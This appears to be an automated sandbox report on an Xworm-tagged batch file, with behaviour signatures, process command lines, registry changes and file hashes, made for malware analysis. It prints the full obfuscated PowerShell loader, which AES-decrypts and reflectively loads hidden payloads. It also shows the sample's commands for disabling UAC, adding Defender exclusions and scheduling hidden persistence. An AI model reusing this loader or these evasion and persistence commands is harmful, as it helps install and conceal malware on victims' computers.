Analysis Overview
SHA256
243eaf0948c59279e8e61eea27e810d314f81679bb4d688d3226b7fb55546a67
Threat Level: Known bad
The file test.bat was found to be: Known bad.
Malicious Activity Summary
Xworm
Detect Xworm Payload
UAC bypass
Command and Scripting Interpreter: PowerShell
Checks computer location settings
Drops startup file
Executes dropped EXE
Adds Run key to start application
Looks up external IP address via web service
Enumerates connected drives
Drops file in System32 directory
Drops file in Windows directory
Enumerates physical storage devices
Modifies registry class
Suspicious use of SetWindowsHookEx
Suspicious behavior: EnumeratesProcesses
Uses Task Scheduler COM API
Suspicious use of WriteProcessMemory
Creates scheduled task(s)
Suspicious use of UnmapMainImage
Modifies data under HKEY_USERS
Suspicious use of FindShellTrayWindow
Modifies registry key
Suspicious use of AdjustPrivilegeToken
Suspicious use of SendNotifyMessage
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-14 13:33
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-14 13:33
Reported
2024-06-14 13:36
Platform
win10v2004-20240508-en
Max time kernel
150s
Max time network
151s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
UAC bypass
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" | C:\Windows\system32\reg.exe | N/A |
Xworm
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Edge.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Edge.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Microsoft Edge | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft Edge" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates connected drives
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\T: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\I: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\O: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\Q: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\H: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\J: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\R: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\V: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\W: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\A: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\B: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\E: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\Y: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\X: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\Z: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\G: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\M: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\S: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\P: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\U: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\K: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\L: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\N: | C:\Windows\system32\svchost.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft Edge | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx | C:\Windows\System32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan | C:\Windows\system32\svchost.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk | C:\Windows\system32\svchost.exe | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018400E3F6D865D" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections | C:\Windows\system32\svchost.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU\PCT = "133628456276744550" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU\PTT = "133628457131793144" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1 | C:\Windows\system32\svchost.exe | N/A |
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\reg.exe | N/A |
| N/A | N/A | C:\Windows\system32\reg.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of UnmapMainImage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test.bat"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1BlxKYbfCVoW1fR575JpYcE/KsQ0rUHg1tVhmltPLCk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rRTuKDIQEGcdSXtDLHANQQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $qamEH=New-Object System.IO.MemoryStream(,$param_var); $sHZaA=New-Object System.IO.MemoryStream; $ZdFgS=New-Object System.IO.Compression.GZipStream($qamEH, [IO.Compression.CompressionMode]::Decompress); $ZdFgS.CopyTo($sHZaA); $ZdFgS.Dispose(); $qamEH.Dispose(); $sHZaA.Dispose(); $sHZaA.ToArray();}function execute_function($param_var,$param2_var){ $OnvRS=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZBTsG=$OnvRS.EntryPoint; $ZBTsG.Invoke($null, $param2_var);}$wrBcB = 'C:\Users\Admin\AppData\Local\Temp\test.bat';$host.UI.RawUI.WindowTitle = $wrBcB;$YUIQp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wrBcB).Split([Environment]::NewLine);foreach ($AMvFX in $YUIQp) { if ($AMvFX.StartsWith('fudwHZInzyQEBLlpmBjX')) { $ePZLV=$AMvFX.Substring(20); break; }}$payloads_var=[string[]]$ePZLV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_311_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_311.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_311.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_311.bat" "
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1BlxKYbfCVoW1fR575JpYcE/KsQ0rUHg1tVhmltPLCk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rRTuKDIQEGcdSXtDLHANQQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $qamEH=New-Object System.IO.MemoryStream(,$param_var); $sHZaA=New-Object System.IO.MemoryStream; $ZdFgS=New-Object System.IO.Compression.GZipStream($qamEH, [IO.Compression.CompressionMode]::Decompress); $ZdFgS.CopyTo($sHZaA); $ZdFgS.Dispose(); $qamEH.Dispose(); $sHZaA.Dispose(); $sHZaA.ToArray();}function execute_function($param_var,$param2_var){ $OnvRS=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZBTsG=$OnvRS.EntryPoint; $ZBTsG.Invoke($null, $param2_var);}$wrBcB = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_311.bat';$host.UI.RawUI.WindowTitle = $wrBcB;$YUIQp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wrBcB).Split([Environment]::NewLine);foreach ($AMvFX in $YUIQp) { if ($AMvFX.StartsWith('fudwHZInzyQEBLlpmBjX')) { $ePZLV=$AMvFX.Substring(20); break; }}$payloads_var=[string[]]$ePZLV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HoaxOptimizerPanel.bat" "
C:\Windows\system32\reg.exe
Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
C:\Windows\system32\mode.com
mode 145,30
C:\Windows\system32\reg.exe
reg add HKLM /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "prompt #$H#$E# & echo on & for %b in (1) do rem"
C:\Windows\system32\reg.exe
reg add HKCU\CONSOLE /v VirtualTerminalLevel /t REG_DWORD /d 1 /f
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft Edge'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Microsoft Edge'
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Microsoft Edge" /tr "C:\Users\Admin\AppData\Roaming\Microsoft Edge"
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
C:\Users\Admin\AppData\Roaming\Microsoft Edge
"C:\Users\Admin\AppData\Roaming\Microsoft Edge"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ip-api.com | udp |
Files
memory/2084-0-0x00007FF8D7E43000-0x00007FF8D7E45000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_412rcdwz.3wn.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2084-10-0x000001DB25650000-0x000001DB25672000-memory.dmp
memory/2084-11-0x00007FF8D7E40000-0x00007FF8D8901000-memory.dmp
memory/2084-12-0x00007FF8D7E40000-0x00007FF8D8901000-memory.dmp
memory/2084-13-0x000001DB25A40000-0x000001DB25A84000-memory.dmp
memory/2084-14-0x000001DB25B10000-0x000001DB25B86000-memory.dmp
memory/2084-15-0x000001DB259F0000-0x000001DB259F8000-memory.dmp
memory/2084-16-0x000001DB25B90000-0x000001DB25C2C000-memory.dmp
memory/3336-18-0x00007FF8D7E40000-0x00007FF8D8901000-memory.dmp
memory/3336-19-0x00007FF8D7E40000-0x00007FF8D8901000-memory.dmp
memory/3336-20-0x00007FF8D7E40000-0x00007FF8D8901000-memory.dmp
memory/3336-32-0x00007FF8D7E40000-0x00007FF8D8901000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 661739d384d9dfd807a089721202900b |
| SHA1 | 5b2c5d6a7122b4ce849dc98e79a7713038feac55 |
| SHA256 | 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf |
| SHA512 | 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8 |
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_311.vbs
| MD5 | 834a4b3a650a6c9f40a352e12717071e |
| SHA1 | 30c64633b08e6ca6680742e130ea15d0c849581c |
| SHA256 | 07f05b7c89d6032f96909ce3086524bf207398bb7cad96da9a83a7321edaf0d0 |
| SHA512 | 2493546b729f07099078c35d7ca68b1220ac0bca2b694c03b0164bdbe27c42499bdd78dba5817b095166b9f7e151f8bcfe955afe5baf6c08beb0b9d0d40c3cba |
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_311.bat
| MD5 | 94e28aa56dafca77fbfe716c9ab851b2 |
| SHA1 | 51346ddc5d2db8392ee4e4b82229cb08f00eb697 |
| SHA256 | 243eaf0948c59279e8e61eea27e810d314f81679bb4d688d3226b7fb55546a67 |
| SHA512 | 719f8344aabf35d9acfdc68ec83b6b73b06b2e498cf264890f19fdb997acf92b9965d687c6e724588bc8981a72b8ca01e8779579a094c83cbfbf608e578f4455 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
| MD5 | 005bc2ef5a9d890fb2297be6a36f01c2 |
| SHA1 | 0c52adee1316c54b0bfdc510c0963196e7ebb430 |
| SHA256 | 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d |
| SHA512 | f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22 |
memory/2084-50-0x00007FF8D7E40000-0x00007FF8D8901000-memory.dmp
memory/3448-51-0x0000000007FA0000-0x0000000007FCA000-memory.dmp
memory/3448-97-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/2556-98-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/1564-103-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/1748-105-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/1080-112-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/1088-111-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/1684-110-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/2488-109-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/1916-108-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/1344-106-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/760-104-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/1296-113-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/2308-107-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/2904-100-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/788-102-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/400-101-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/968-99-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/1976-114-0x00007FF8B62F0000-0x00007FF8B6300000-memory.dmp
memory/2396-145-0x0000026CDF170000-0x0000026CDF1A6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\HoaxOptimizerPanel.bat
| MD5 | e03a31f264e58472bd637efcad0d1a03 |
| SHA1 | 3796dd30aebcf3aa6d006d5dddd7d2864e14963e |
| SHA256 | 2097980870ce3cb140d151b4e681a4ee28d6d27e751727a84b929b4e03d48673 |
| SHA512 | ccfc0eeeb3a8a758bea0d3c85df3fee825516f416d429d3f1bd4d40797a989485ca3b6c12a827b1525bef2c17f86fe26c8bc30cc5eae025af039fa2d4535202d |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | a37d50419f9463557ba395bd8249f5b6 |
| SHA1 | 1e94df7e8e5250fe70562bf4d5538c63b3171851 |
| SHA256 | 7e12a5fac8da60dc67fd5d691fe4ee244d974c07d579488863558c9ebe14c1fa |
| SHA512 | cdd4fa55ab83ed2c68d8df444755a374899bb6b6f8fd829a014b3fc2f4e17536e357a288bc8209432aa2992a35f7d1df0e04c9bc82af46e04c89b69302f1a238 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | a26df49623eff12a70a93f649776dab7 |
| SHA1 | efb53bd0df3ac34bd119adf8788127ad57e53803 |
| SHA256 | 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245 |
